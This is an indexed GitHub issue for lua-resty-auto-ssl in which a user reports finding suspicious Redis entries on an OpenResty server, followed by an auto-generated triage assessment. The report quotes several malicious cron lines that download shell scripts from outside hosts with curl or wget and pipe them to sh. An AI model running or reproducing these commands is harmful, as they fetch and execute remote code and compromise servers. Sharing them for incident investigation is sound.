auto-ssl / auto-ssl/lua-resty-auto-ssl

Security issue

Open
#279 0 comments 0 reactions 0 assignees View on GitHub
Dominant language
Lua
Stars
2k
Forks
184
PR merge metrics
No merged PRs in 30d

Description

Dont know if here is the right place to inform.. but here it is..
i have a web server running openresty/1.19.9.1 luarocks-3.8.0 and lua-resty-auto-ssl only have 2 domains so today i check the redis storage to see the ssl keys and i notice some strange entries named backup1 to 10.
so i check the entries and they were like this
*/4 * * * * cdt -fsSL http://g.githubupdate.com/pkg/init.sh | sh
*/5 * * * * wdt -q -O- http://g.githubupdate.com/pkg/init.sh | sh
*/2 * * * * cd1 -fsSL http://a.amdupdatepkg.com/pkg/init.sh | sh
*/3 * * * * wd1 -q -O- http://a.amdupdatepkg.com/pkg/init.sh | sh
*/4 * * * * cd1 -fsSL http://g.githubupdate.com/pkg/init.sh | sh
*/5 * * * * wd1 -q -O- http://g.githubupdate.com/pkg/init.sh | sh
*/2 * * * * curl -fsSL http://190.123.45.54/pkg/init.sh | sh
i have secured my servers to only have http and https
no connection to redis
the only way to access to redis was through openresty/ lua-resty-auto-ssl e try to check logs everything but i didnt found anything.. did someone already saw this?

Contributor guide

No contributing guide indexed for this repository

Research direction

Start by reviewing lua-resty-auto-ssl's Redis access path and the OpenResty logs described in the report. Determine whether the reported cron entries can be reproduced or traced to the project, then document the cause, impact, and confirmed remediation as the completion criteria.

Written by the indexing model from the issue text.

Assessment

Tech stack
lua, nginx, redis
Domain
backend, databases, security
Issue type
Bug
Difficulty
5/5
Estimated time
Over a week
Activity status
Stale
Clarity
Needs clarification
Newbie friendliness
15/100

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